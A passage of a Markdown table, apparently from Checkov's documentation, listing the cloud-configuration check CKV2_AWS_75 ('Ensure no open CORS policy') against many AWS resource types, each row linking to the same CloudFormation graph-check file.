CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  472 | CKV2_AWS_75 | resource | aws_codepipeline                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  473 | CKV2_AWS_75 | resource | aws_codepipeline_custom_action_type                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  474 | CKV2_AWS_75 | resource | aws_codepipeline_webhook                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  475 | CKV2_AWS_75 | resource | aws_codestarconnections_connection                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  476 | CKV2_AWS_75 | resource | aws_codestarconnections_host                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  477 | CKV2_AWS_75 | resource | aws_codestarnotifications_notification_rule                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  478 | CKV2_AWS_75 | resource | aws_cognito_identity_pool                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  479 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_provider_principal_tag                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  480 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_roles_attachment                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  481 | CKV2_AWS_75 | resource | aws_cognito_identity_provider                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  482 | CKV2_AWS_75 | resource | aws_cognito_managed_user_pool_client                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  483 | CKV2_AWS_75 | resource | aws_cognito_resource_server                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  484 | CKV2_AWS_75 | resource | aws_cognito_risk_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  485 | CKV2_AWS_75 | resource | aws_cognito_user                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  486 | CKV2_AWS_75 | resource | aws_cognito_user_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  487 | CKV2_AWS_75 | resource | aws_cognito_user_in_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  488 | CKV2_AWS_75 | resource | aws_cognito_user_pool                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  489 | CKV2_AWS_75 | resource | aws_cognito_user_pool_client                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  490 | CKV2_AWS_75 | resource | aws_cognito_user_pool_domain                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  491 | CKV2_AWS_75 | resource | aws_cognito_user_pool_ui_customization                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  492 | CKV2_AWS_75 | resource | aws_comprehend_document_classifier                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  493 | CKV2_AWS_75 | resource | aws_comprehend_entity_recognizer                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  494 | CKV2_AWS_75 | resource | aws_computeoptimizer_enrollment_status                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  495 | CKV2_AWS_75 | resource | aws_computeoptimizer_recommendation_preferences                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  496 | CKV2_AWS_75 | resource | aws_config_aggregate_authorization                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  497 | CKV2_AWS_75 | resource | aws_config_config_rule                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  498 | CKV2_AWS_75 | resource | aws_config_configuration_aggregator                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  499 | CKV2_AWS_75 | resource | aws_config_configuration_recorder                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  500 | CKV2_AWS_75 | resource | aws_config_configuration_recorder_status                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  501 | CKV2_AWS_75 | resource | aws_config_conformance_pack                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  502 | CKV2_AWS_75 | resource | aws_config_delivery_channel                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  503 | CKV2_AWS_75 | resource | aws_config_organization_conformance_pack                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  504 | CKV2_AWS_75 | resource | aws_config_organization_custom_policy_rule                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  505 | CKV2_AWS_75 | resource | aws_config_organization_custom_rule                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  506 | CKV2_AWS_75 | resource | aws_config_organization_managed_rule                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  507 | CKV2_AWS_75 | resource | aws_config_remediation_configuration                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  508 | CKV2_AWS_75 | resource | aws_config_retention_configuration                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  509 | CKV2_AWS_75 | resource | aws_connect_bot_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  510 | CKV2_AWS_75 | resource | aws_connect_contact_flow                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  511 | CKV2_AWS_75 | resource | aws_connect_contact_flow_module                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  512 | CKV2_AWS_75 | resource | aws_connect_hours_of_operation                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  513 | CKV2_AWS_75 | resource | aws_connect_instance                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  514 | CKV2_AWS_75 | resource | aws_connect_instance_storage_config                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  515 | CKV2_AWS_75 | resource | aws_connect_lambda_function_association                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  516 | CKV2_AWS_75 | resource | aws_connect_phone_number                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  517 | CKV2_AWS_75 | resource | aws_connect_queue                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  518 | CKV2_AWS_75 | resource | aws_connect_quick_connect                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  519 | CKV2_AWS_75 | resource | aws_connect_routing_profile                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  520 | CKV2_AWS_75 | resource | aws_connect_security_profile                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  521 | CKV2_AWS_75 | resource | aws_connect_user                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  522 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_group                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  523 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_structure                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  524 | CKV2_AWS_75 | resource | aws_connect_vocabulary                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  525 | CKV2_AWS_75 | resource | aws_controltower_control                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  526 | CKV2_AWS_75 | resource | aws_controltower_landing_zone                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  527 | CKV2_AWS_75 | resource | aws_costoptimizationhub_enrollment_status                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  528 | CKV2_AWS_75 | resource | aws_costoptimizationhub_preferences                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  529 | CKV2_AWS_75 | resource | aws_cur_report_definition                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  530 | CKV2_AWS_75 | resource | aws_customer_gateway                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  531 | CKV2_AWS_75 | resource | aws_customerprofiles_domain                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  532 | CKV2_AWS_75 | resource | aws_customerprofiles_profile                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  533 | CKV2_AWS_75 | resource | aws_dataexchange_data_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  534 | CKV2_AWS_75 | resource | aws_dataexchange_revision                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  535 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  536 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline_definition                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  537 | CKV2_AWS_75 | resource | aws_datasync_agent                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  538 | CKV2_AWS_75 | resource | aws_datasync_location_azure_blob                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  539 | CKV2_AWS_75 | resource | aws_datasync_location_efs                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  540 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_lustre_file_system                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  541 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_ontap_file_system                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  542 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_openzfs_file_system                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  543 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_windows_file_system                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  544 | CKV2_AWS_75 | resource | aws_datasync_location_hdfs                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  545 | CKV2_AWS_75 | resource | aws_datasync_location_nfs                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  546 | CKV2_AWS_75 | resource | aws_datasync_location_object_storage                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  547 | CKV2_AWS_75 | resource | aws_datasync_location_s3                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  548 | CKV2_AWS_75 | resource | aws_datasync_location_smb                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  549 | CKV2_AWS_75 | resource | aws_datasync_task                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  550 | CKV2_AWS_75 | resource | aws_datazone_asset_type                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  551 | CKV2_AWS_75 | resource | aws_datazone_domain                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  552 | CKV2_AWS_75 | resource | aws_datazone_environment                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  553 | CKV2_AWS_75 | resource | aws_datazone_environment_blueprint_configuration                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  554 | CKV2_AWS_75 | resource | aws_datazone_environment_profile                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  555 | CKV2_AWS_75 | resource | aws_datazone_form_type                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  556 | CKV2_AWS_75 | resource | aws_datazone_glossary                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  557 | CKV2_AWS_75 | resource | aws_datazone_glossary_term                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  558 | CKV2_AWS_75 | resource | aws_datazone_project                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  559 | CKV2_AWS_75 | resource | aws_datazone_user_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  560 | CKV2_AWS_75 | resource | aws_dax_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  561 | CKV2_AWS_75 | resource | aws_dax_parameter_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  562 | CKV2_AWS_75 | resource | aws_dax_subnet_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  563 | CKV2_AWS_75 | resource | aws_db_cluster_snapshot                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  564 | CKV2_AWS_75 | resource | aws_db_event_subscription                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  565 | CKV2_AWS_75 | resource | aws_db_instance                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  566 | CKV2_AWS_75 | resource | aws_db_instance_automated_backups_replication                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  567 | CKV2_AWS_75 | resource | aws_db_instance_role_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 